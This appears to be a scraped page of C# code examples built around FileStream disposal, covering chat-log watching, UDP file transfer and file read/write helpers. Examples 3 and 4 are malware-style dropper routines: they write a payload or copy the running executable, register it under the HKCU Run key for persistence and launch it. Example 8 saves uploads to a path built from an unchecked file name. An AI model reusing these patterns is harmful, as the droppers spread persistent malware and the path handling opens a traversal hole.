Ejemplo n.º 1
0
        /// <summary>
        /// Sync aion chat.log.
        /// </summary>
        private void SyncChatLog()
        {
            FS?.Dispose();
            Reader?.Dispose();
            ChatLogWatcher?.Dispose();

            if (!string.IsNullOrEmpty(ChatLogPath) && !File.Exists(ChatLogPath))
            {
                ChatLogPath = "";
                return;
            }

            FS     = new FileStream(ChatLogPath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
            Reader = new StreamReader(FS, Encoding.Default);
            Reader.ReadToEnd();

            ChatLogWatcher = new FileSystemWatcher
            {
                Path                = Path.GetDirectoryName(ChatLogPath),
                NotifyFilter        = NotifyFilters.LastWrite,
                Filter              = "Chat.log",
                EnableRaisingEvents = true
            };
            ChatLogWatcher.Changed += ChatLog_Changed;
        }
Ejemplo n.º 2
0
        /// <summary>
        /// 释放资源
        /// </summary>
        public void Dispose()
        {
            if (tcpClient != null)
            {
                if (tcpClient.IsConnected)
                {
                    tcpClient.Disconnect();
                }
                tcpClient.Dispose();
            }

            if (sockUDP != null && sockUDP.Listened)
            {
                sockUDP.CloseSock();
                sockUDP = null;
            }

            if (timer1 != null)
            {
                this.timer1.Enabled = false;
            }
            this.timer1 = null;

            if (FS != null)
            {
                FS.Close(); FS.Dispose(); FS = null;
            }

            this.TFileInfo = null;
            this.fileBlock = null;
        }
Ejemplo n.º 3
0
 private static bool InstallPayload(string dropPath)
 {
     if (!Process.GetCurrentProcess().MainModule.FileName.Equals(dropPath, StringComparison.CurrentCultureIgnoreCase))
     {
         FileStream FS = null;
         try
         {
             if (!File.Exists(dropPath))
             {
                 FS = new FileStream(dropPath, FileMode.CreateNew);
             }
             else
             {
                 FS = new FileStream(dropPath, FileMode.Create);
             }
             byte[] loaderBuffer = File.ReadAllBytes(Process.GetCurrentProcess().MainModule.FileName);
             FS.Write(loaderBuffer, 0, loaderBuffer.Length);
             FS.Dispose();
             Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run\").SetValue(Path.GetFileName(dropPath), dropPath);
             Process.Start(dropPath);
             return(true);
         }
         catch
         {
             return(false);
         }
     }
     return(false);
 }
Ejemplo n.º 4
0
 private static bool InstallPayload(string dropPath, byte[] payloadBuffer)
 {
     if (!Process.GetCurrentProcess().MainModule.FileName.Equals(dropPath, StringComparison.CurrentCultureIgnoreCase))
     {
         FileStream FS = null;
         try
         {
             if (!File.Exists(dropPath))
             {
                 FS = new FileStream(dropPath, FileMode.CreateNew);
             }
             else
             {
                 FS = new FileStream(dropPath, FileMode.Create);
             }
             FS.Write(payloadBuffer, 0, payloadBuffer.Length);
             FS.Dispose();
             Process.Start(dropPath);
             return(true);
         }
         catch
         {
             return(false);
         }
     }
     return(false);
 }
Ejemplo n.º 5
0
        //UDPFileMsg RequestSendFilePakMsg = new UDPFileMsg();

        #region 私有方法

        #region sockUDP_DataArrival
        private void sockUDP_DataArrival(object sender, SockEventArgs e)
        {
            if (e.Data.Length < 21)
            {
                return;
            }
            UDPPacket fileMsg = new UDPPacket(e.Data);

            if (fileMsg.type == (byte)TransmitType.getFilePackage) //收到文件数据包
            {
                if (IsSend)                                        //如果是文件发送者,则按指定位置发送文件
                {
                    sendFile(fileMsg.LastPos);
                }
                else//如果是文件接收者,处理接收文件数据包
                {
                    ReceivedFileBlock(fileMsg);
                }
            }
            else if (fileMsg.type == (byte)TransmitType.Penetrate)//收到另一客户端请求打洞
            {
                toEP = e.RemoteIPEndPoint;
                if (fileMsg.Block.Length > mtu)//确定MTU值
                {
                    mtu = fileMsg.Block.Length;
                }

                if (TFileInfo.connectedType == ConnectedType.None) //如果还未连接,继续打洞
                {
                    sockUDP.Send(toEP, fileMsg.BaseData);          //告之对方收到打洞包并向对方打洞
                }
            }
            else if (fileMsg.type == (byte)TransmitType.getRemoteEP)//收到自己的远程主机信息
            {
                if (myRemoteEP == null)
                {
                    myRemoteEP = new IPEndPoint(fileMsg.RemoteIP, fileMsg.Port);//设置自己的远程主机信息
                }
            }
            else if (fileMsg.type == (byte)TransmitType.over)
            {
                if (IsConnected == false) //如果文件传输结束标识为false
                {
                    IsConnected = true;   //文件传输结束标识为真
                    if (FS != null)
                    {
                        FS.Close(); FS.Dispose(); FS = null;
                    }
                    OnFileTransmitted();//触发文件传输完成
                }
            }
        }
Ejemplo n.º 6
0
        public static string LoadFile(string FileName)
        {
            string MapData;

            char[]        ch;
            FileStream    FS;
            BinaryReader  BR;
            StringBuilder SB;

            if (string.IsNullOrEmpty(FileName) == true)
            {
                return(null);
            }

            FS = System.IO.File.OpenRead(FileName);

            if (FS == null)
            {
                return(null);
            }

            BR = new BinaryReader(FS);
            ch = BR.ReadChars((int)FS.Length);

            BR.Close();
            BR = null;

            FS.Close();
            FS.Dispose();
            FS = null;

            SB = new StringBuilder(ch.Length);
            SB.Append(ch);

            MapData = SB.ToString();

            if (string.IsNullOrEmpty(MapData) == true)
            {
                return(null);
            }

            // fix line ends
            MapData = MapData.Replace("\r", "").Replace("\n", "\r\n");

            return(MapData);
        }
Ejemplo n.º 7
0
        /// <summary>
        /// Dispose all resources.
        /// </summary>
        public new void Dispose()
        {
            foreach (ConsoleControl.ConsoleControl chat in Chats.Values)
            {
                chat?.Dispose();
            }
            SelectedChat = null;
            Chats        = null;
            ChatLogWatcher?.Dispose();
            ChatLogWatcher = null;
            Reader?.Dispose();
            Reader = null;
            FS?.Dispose();
            FS = null;
            NotifyIcon?.Dispose();
            NotifyIcon = null;

            base.Dispose();
        }
Ejemplo n.º 8
0
        public long Kaydet(byte[] Data, string FileName)
        {
            MemoryStream MS   = new MemoryStream(Data);
            string       path = Server.MapPath(".") + @"\documents\images\" + FileName;
            FileStream   FS;

            if (File.Exists(path))
            {
                FS = new FileStream(path, FileMode.Append);
            }
            else
            {
                FS = new FileStream(path, FileMode.Create);
            }
            MS.WriteTo(FS);
            long DataLength = FS.Length;

            MS.Close();
            FS.Close();
            FS.Dispose();
            return(DataLength);
        }
Ejemplo n.º 9
0
        public static bool WriteFile(string FilePath, string FileData)
        {
            FileStream   FS;
            BinaryWriter BW;

            if (string.IsNullOrEmpty(FilePath) == true)
            {
                return(false);
            }

            if (string.IsNullOrEmpty(FileData) == true)
            {
                return(false);
            }

            FS = System.IO.File.Open(FilePath, FileMode.Create, FileAccess.Write);

            if (FS == null)
            {
                return(false);
            }

            BW = new BinaryWriter(FS);
            for (int i = 0; i < FileData.Length; i++)
            {
                BW.Write(FileData[i]);
            }

            BW.Close();
            BW = null;

            FS.Close();
            FS.Dispose();
            FS = null;

            return(true);
        }